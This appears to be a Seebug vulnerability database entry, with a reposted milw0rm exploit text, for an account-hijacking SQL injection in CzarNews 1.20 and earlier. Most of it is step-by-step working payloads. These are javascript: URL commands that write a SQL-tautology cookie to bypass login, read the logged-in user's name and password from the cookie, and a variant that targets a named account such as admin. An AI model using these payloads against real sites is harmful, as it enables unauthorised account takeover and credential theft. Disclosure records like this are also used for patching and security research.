CzarNews <= 1.20 (Account Hijacking) Remote SQL Injection Vuln

2014-07-01T00:00:00
ID SSV:65710
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

  1. 首先登陆一个CzarNews 1.20 版本的网站。
  2. 打开登陆页面,然后在地址栏中输入 javascript:document.cookie="recook=' or ''=',' or ''='";void(0); 随后刷新页面,接下来见证奇迹,你会惊奇的发现你处于了登陆状态。
  3. 如果你输入以下代码在URL当中 javascript:c=document.cookie;p=c.substr(c.lastIndexOf('=')+1).split(/%../);a lert("Login: " + p[0] + "\nPass: " + p[1]);void(0); 你会发现你获取了当前登陆用户的账号和密码。

漏洞原因:

    网站开发者太过于相信cookie了,导致攻击者在客户端直接修改cookie可以达到伪造用户的目的,造成不可预测的后果。

                                        
                                            
                                                czarNews Account Hijacking <= 1.20 user and password Leak
----------------------------------------------------------

 Author: Maycon Maia Vitali ( 0ut0fBound )
Contact: mayconmaia at yahoo dot com dot br
         http://maycon.gsec.com.br

Original Xploit by StAkeR ( http://www.milw0rm.com/exploits/6462 )


Gerenal Xploit:
---------------

1) Go to some page with CzarNews 1.20. You are in the 'Login Page'
2) Put in the URL: javascript:document.cookie="recook=' or ''=',' or
''='";void(0);
3) Refresh the page. Now you are logged in.
4) Put in the URL:
javascript:c=document.cookie;p=c.substr(c.lastIndexOf('=')+1).split(/%../);a
lert("Login: " + p[0] + "\nPass: " + p[1]);void(0);
5) With this you getted the current user and password

Attacking Especific User:
-------------------------

If you have some user that you need Xploit, You can change the step 2 by
this:

2) Put in the URL:
javascript:document.cookie="recook=[USER],'+or+''='";void(0);

Where [USER] need to be replaced with user name (e.g. admin)


enjoy,
0ut0fBound

# milw0rm.com [2008-09-15]